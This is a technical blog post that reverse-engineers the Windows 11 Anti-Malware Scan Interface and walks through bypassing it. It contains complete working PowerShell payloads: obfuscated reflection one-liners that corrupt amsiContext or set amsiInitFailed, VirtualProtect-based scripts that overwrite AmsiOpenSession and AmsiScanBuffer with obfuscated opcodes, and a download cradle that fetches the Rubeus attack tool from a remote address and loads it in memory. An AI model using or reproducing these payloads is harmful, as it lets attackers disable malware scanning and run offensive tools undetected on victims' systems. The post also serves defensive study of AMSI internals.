Bypass AMSI On Windows 11 Motivation In this article, I want to break down AMSI (Anti-Malware Scan Interface) and its bypass technique on Windows 11. AMSI bypass is not a new topic, and compared with bypassing EDR, AMSI bypass is much easier, but I found that one bypass approach taught in OSEP does not work on Windows 11. It interests me, as I want to know what has changed under the hood on Windows 11. As I am learning OSED, I also want to apply the reverse engineering skill I learned to do some personal research. Okay, let’s start. Background On Windows hosts, we can get a shell or C2 session by executing an exe file. Additionally, we can achieve the same goal with some script languages, such as using  PowerShell IEX  download cradle to run the script in memory without leaving files on the disk. Compared to detecting payloads on the disk, it is harder for traditional anti-virus products to detect such delivery, while AMSI provides a scanning interface to capture various script languages such as  PowerShell ,  JScript ,  VBA , or  C# code  at run time to address the gap. Amsi stands for “ Anti-malware Scan Interface “; it  targets  malicious  script-based malware . The following figure illustrates the process of how AMSI works in high level. amsi.dll  is loaded to each  powershell.exe  process, providing export functions such as  AmsiInitialize ,  AmsiOpenSession,   AmsiScanbuffer , etc. The content of the script is passed into  AmsiScanBuffer  as an argument. Before the execution, the script will be determined if it is malicious. Use WinDBG to run powershell.exe; when the process is attached, we can see now amsi.dll is not loaded already. Set unresolved breakpoints for  AmsiInitialize ,  AmsiOpenSession , and  AmsiScanBuffer,  continue the execution. Immediately, we hit the breakpoint at the entry of function AmsiInitialize. Now amsi.dll is loaded, and the function AmsiInitialize is called. At this time, we have not executed any script, and the powershell banner is not even loaded. Continue the execution, we hit breakpoints at the entry of functions  AmsiOpenSession  and  AmsiScanBuffer,  respectively. Now, the banner is loaded, and we can supply the script. In summary, though the process of loading AMSI may involve more steps and be more complex, we know AmsiInitialize is called first, then AmsiOpenSession, and AmsiScanBuffer. Let’s supply malicious content “ invoke-mimikatz” , and inspect the calling of these functions. When inspecting script content, AmsiInitialize is not called, but AmsiOpenSession and AmsiScanBuffer are still called in order. The calling order is not surprising, as the function names are self-explanatory. Finally, the script content is regarded as malicious. To understand the process better, let’s inspect these functions. Function AmsiInitialize has  2  arguments, after the execution, the argument  amsiContext  will be initialized. It is a handle of type  HAMSICONTEXT  that will be passed to all subsequent calls to the AMSI API. HRESULT AmsiInitialize( [in] LPCWSTR appName, [out] HAMSICONTEXT *amsiContext ); Function AmsiOpenSession has 2 arguments, either. The 1st argument is amsiContext, which is initialized from the function AmsiInitialize. After the execution,  amsiSession  will be initialized. It is a handle of type  HAMSISESSION  that will be passed to all subsequent calls to the AMSI API within the session. HRESULT AmsiOpenSession( [in] HAMSICONTEXT amsiContext, [out] HAMSISESSION *amsiSession ); Function AmsiScanBuffer has 6 arguments, including previously initialized amsiContext and amsiSession. Other arguments include the script content, the length of the content, the content ID, and the scan result. The value of argument result will be set after the execution. HRESULT AmsiScanBuffer( [in] HAMSICONTEXT amsiContext, [in] PVOID buffer, [in] ULONG length, [in] LPCWSTR contentName, [in, optional] HAMSISESSION amsiSession, [out] AMSI_RESULT *result ); According to the result value, scanned script could be considered malicious or clean.  AMSI_RESULT_CLEAN  is  1 ,  AMSI_RESULT_DETECTED  is  32767. typedef enum AMSI_RESULT { AMSI_RESULT_CLEAN, AMSI_RESULT_NOT_DETECTED, AMSI_RESULT_BLOCKED_BY_ADMIN_START, AMSI_RESULT_BLOCKED_BY_ADMIN_END, AMSI_RESULT_DETECTED } ; Armed with background knowledge, let’s discuss how to bypass AMSI by attacking these functions. Attack AmsiOpenSession In OSEP, the bypass method is to patch the first  DWORD  pointed by amsiContext. The following screenshot is the graph view of AmsiOpenSession on  Windows Server 2019 . As we can see, the first DWORD is compared to “ AMSI “. As long as the first DWORD is not equal to “AMSI”, the execution will jump to the following code block: loc_18000250B: mov eax, 80070057h retn AmsiOpenSession endp EAX is set as  0x80070057 , which is  E_INVALIDARG  error. The execution of AmsiOpenSession is unsuccessful, and so will all subsequent calls to the AMSI API. However, on Windows 11, the first DWORD is not checked anymore. Fortunately, there are still multiple ways to land that code block. The  RDX ,  RCX , the  2nd QWORD , and the  3rd QWORD  are compared to  0  respectively. If  any  of them equals 0, AmsiOpenSession will exit with error. The following one-liner payload leverages reflection, it can be used to patch the 1st DWORD to achieve AMSI bypass, now it does not work on Windows 11. $a=[Ref].Assembly.GetTypes();Foreach($b in $a) {if ($b.Name -like “*iUtils”) {$c=$b}};$d=$c.GetFields(‘NonPublic,Static’);Foreach($e in $d) {if ($e.Name -like “*Context”) {$f=$e}};$g=$f.GetValue($null);[IntPtr]$ptr=$g;[Int32[]]$buf = @(0);[System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $ptr, 1) The one-liner payload is obfuscated to avoid signature-based detection, let’s break it down: 1: Get the assembly that Ref is defined in, then get a list of all types defined in that assembly 2: In the list, locate AmsiUtils based on the property characteristics of AmsiUtils, such as IsPublic=False, IsSerial=False, and the Name contains the “iUtils” substring, etc. 3: Locate amsiContext in a similar manner 4: Get the address of the amsiContext parameter and patch the first DWORD in the structure to 0 Adjust the payload to patch the 2nd QWORD, and it works on Windows 11. $a=[Ref].Assembly.GetTypes();Foreach($b in $a) {if ($b.Name -like “*iUtils”) {$c=$b}};$d=$c.GetFields(‘NonPublic,Static’);Foreach($e in $d) {if ($e.Name -like “*Context”) {$f=$e}};$g=$f.GetValue($null);$ptr = [System.IntPtr]::Add([System.IntPtr]$g, 0x8);$buf = New-Object byte[](8);[System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $ptr, 8) We can also attack AmsiOpenSession with PowerShell script. The following script patched AmsiOpenSession to set RCX as 0. function LookupFunc { Param ($moduleName, $functionName) $assem = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1]. Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods') $tmp=@() $assem.GetMethods() | ForEach-Object {If($_.Name -like "Ge*P*oc*ddress") {$tmp+=$_}} return $tmp[0].Invoke($null, @(($assem.GetMethod('GetModuleHandle')).Invoke($null, @($moduleName)), $functionName)) } function getDelegateType { Param ( [Parameter(Position = 0, Mandatory = $True)] [Type[]] $func, [Parameter(Position = 1)] [Type] $delType = [Void] ) $type = [AppDomain]::CurrentDomain. DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')), [System.Reflection.Emit.AssemblyBuilderAccess]::Run). DefineDynamicModule('InMemoryModule', $false). DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate]) $type. DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $func). SetImplementationFlags('Runtime, Managed') $type. DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $delType, $func). SetImplementationFlags('Runtime, Managed') return $type.CreateType() } [IntPtr]$funcAddr = LookupFunc amsi.dll AmsiOpenSession $oldProtectionBuffer = 0 $vp=[System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookupFunc kernel32.dll VirtualProtect), (getDelegateType @([IntPtr], [UInt32], [UInt32], [UInt32].MakeByRefType()) ([Bool]))) $vp.Invoke($funcAddr, 3, 0x40, [ref]$oldProtectionBuffer) $buf = [Byte[]] (0x48,0x31,0xc9) [System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $funcAddr, 3) After executing the script, we bypassed AMSI. Attack AmsiInitialize Considering AmsiInitialize is called before we can supply scripts, we cannot directly patch the instruction. However, we can patch the structure pointed by amsiContext as it is initialized after the execution. Leverage reflection, the raw one-liner payload is as follows: [Ref].Assembly.GetType(‘System.Management.Automation.AmsiUtils’).GetField(‘amsiInitFailed’,’NonPublic,Static’). SetValue ($null,$ true ) Obfuscate it to avoid signature-based detection: $a= [Ref].Assembly.GetTypes ();Foreach($b in $a) {if ($b.Name -like “*iUtils”) {$c=$b}};$d=$c.GetFields(‘NonPublic,Static’);Foreach($e in $d) {if ($e.Name -like “*Failed”) {$f=$e}};$f. SetValue ($null,$ true ) We successfully bypassed AMSI. This payload still works, even on Windows 11. Attack AmsiScanBuffer Inspect assemble codes of AmsiScanBuffer, we also noticed the code block that forces the function to exit with error. According to the graph, multiple branches could land the execution on the code block. One path is notable: cmp rcx, rax jz short loc_1800082CA The code block compares values stored in  RAX  and  RCX,  because RCX and RAX will be overwritten later, it is hard to patch them. If RCX does not equal RCX, the execution will land the following code block. The TEST operation will be performed between  the byte located at the memory address RCX+0x14  and immediate value 4. This means, if the 3rd bit is set in the byte. test byte ptr [rcx+1Ch], 4 jz short loc_1800082CA If the result is not equal to 0, the execution lands the following code block: mov rcx, [rcx+10h] mov r9, rbx mov [r11-50h], rbp mov [r11-58h], r14 mov [rsp+88h+var_60], r8d mov [r11-68h], rdx call WPP_SF_qqDqq No conditional jump happens, just follow the execution, and land the following code block. Previously, RSI is set the value stored in RDX, which is the address of buffer. mov rsi, rdx If RSI is not equal to zero, continue the execution without a conditional jump. loc_1800082CA: test rsi, rsi jz short loc_180008337 The following code block checks if  EDI  is equal to 0. Previously, EDI is set the value stored in  R8D . mov edi, r8d It is obvious, if R8 is 0, then we will finally reach mov eax, 0x80070057  instruction. test edi, edi jz short loc_180008337 Set  R8  as  0  at the entry of function AmsiScanBuffer, continue the execution. We find that AMSI is bypassed. If we try to patch AmsiScanBuffer by setting R8 to 0: xor r8, r8; The opcode is  0x4d31c0.  However, it will crash powershell.exe process, because we overwrote some instructions, such as  mov r11, rsp . While R11 will be used in some following instructions. Therefore, this bypass works in theory, but we will have issues when using it in practical without WinDBG. We can also force AmsiScanbuffer to return  E_INVALIDARG  error, the instructions are as follows: mov eax, 0x80070057 ret The opcode is  0xb857000780c3 . However, the opcode is signatured, therefore, we should slightly obfuscate it. Final code: function LookupFunc { Param ($moduleName, $functionName) $assem = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1]. Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods') $tmp=@() $assem.GetMethods() | ForEach-Object {If($_.Name -like "Ge*P*oc*ddress") {$tmp+=$_}} return $tmp[0].Invoke($null, @(($assem.GetMethod('GetModuleHandle')).Invoke($null, @($moduleName)), $functionName)) } function getDelegateType { Param ( [Parameter(Position = 0, Mandatory = $True)] [Type[]] $func, [Parameter(Position = 1)] [Type] $delType = [Void] ) $type = [AppDomain]::CurrentDomain. DefineDynamicAssembly((New-Object System.Reflection.AssemblyName ('ReflectedDelegate')), [System.Reflection.Emit.AssemblyBuilderAccess]::Run). DefineDynamicModule('InMemoryModule', $false). DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate]) $type. DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $func). SetImplementationFlags('Runtime, Managed') $type. DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $delType, $func). SetImplementationFlags('Runtime, Managed') return $type.CreateType() } $a="A" $b="msiS" $c="canB" $d="uffer" [IntPtr]$funcAddr = LookupFunc amsi.dll ($a+$b+$c+$d) $oldProtectionBuffer = 0 $vp=[System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookupFunc kernel32.dll VirtualProtect), (getDelegateType @([IntPtr], [UInt32], [UInt32], [UInt32].MakeByRefType()) ([Bool]))) $vp.Invoke($funcAddr, 3, 0x40, [ref]$oldProtectionBuffer) $buf = [Byte[]] (0xb8,0x34,0x12,0x07,0x80,0x66,0xb8,0x32,0x00,0xb0,0x57,0xc3) [System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $funcAddr, 12) It works well : ) Bypass AMSI for Assembly Load We discussed how to bypass AMSI before executing powershell scripts. However, the content of .NET assembly will also be scanned by AMSI, and the process is slightly different. As a result, attacking AmsiInitialize or AmsiOpenSession does not work. We can use reflection to download a C# tool in memory and execute it. $data=(new-object System.Net.WebClient).DownloadData(‘http://192.168.0.45:443/rubeus.exe’) $assembly=[System.Reflection.Assembly]::Load($data) As the following 2 screenshots show, we already bypassed AMSI by attacking AmsiOpenSession and AmsiInitialize, but we cannot load Rubeus in memory. However, if we patch AmsiScanBuffer, we will be fine and successfully load Rubeus in memory. Why? Because when  Assembly.Load()  method is used, function  AmsiScan  in  clr.dll  will be called additionally. Set 4 breakpoints for powershell.exe process amsi!AmsiInitialize amsi!AmsiOpenSession amsi!AmsiScanBuffer clr!AmsiScan After supplying malicious content “invoke-mimikatz”, breakpoints at AmsiOpenSession and AmsiScanbuffer are reached, but functions  AmsiInitialize  and  AmsiScan  are not called。 If executing  [System.Reflection.Assembly]::Load()  command, we find that the first 2 breakpoints are still reached, and this time, we have three more hits. The 3 more hits prove that .NET assembly in memory is scanned additionally. Inspect function  AmsiScan  in  clr.dll , we find that AmsiInitialize and AmsiScan are called, while AmsiOpenSession is not called. In summary, the one-liner payload that attacks AmsiInitialize does not work because the payload changes sub-values of the  System.Management.Automation  namespace. This namespace is the root namespace for PowerShell; it is not related to .NET assembly scanning. AmsiOpenSession is not called in AmsiScan at all. AmsiScanBuffer is called, therefore, the bypass technique by attacking AmsiScanBuffer still works when loading a .NET assembly. Reference https://docs.microsoft.com/en-us/windows/win32/amsi/images/amsi7archi.jpg https://learn.microsoft.com/en-us/windows/win32/api/amsi/nf-amsi-amsiinitialize https://learn.microsoft.com/en-us/windows/win32/api/amsi/nf-amsi-amsiopensession https://learn.microsoft.com/en-us/windows/win32/api/amsi/nf-amsi-amsiscanbuffer https://github.com/PowerShellMafia/PowerSploit/blob/master/Privesc/PowerUp.ps1 https://github.com/rasta-mouse/AmsiScanBufferBypass https://book.hacktricks.xyz/windows-hardening/windows-av-bypass https://github.com/TheD1rkMtr/AMSI_patch https://pentestlaboratories.com/2021/05/17/amsi-bypass-methods/ https://rastamouse.me/memory-patching-amsi-bypass/ https://s3cur3th1ssh1t.github.io/Powershell-and-the-.NET-AMSI-Interface/ https://cyberwarfare.live/assembly-load-writing-one-byte-to-evade-amsi-scan/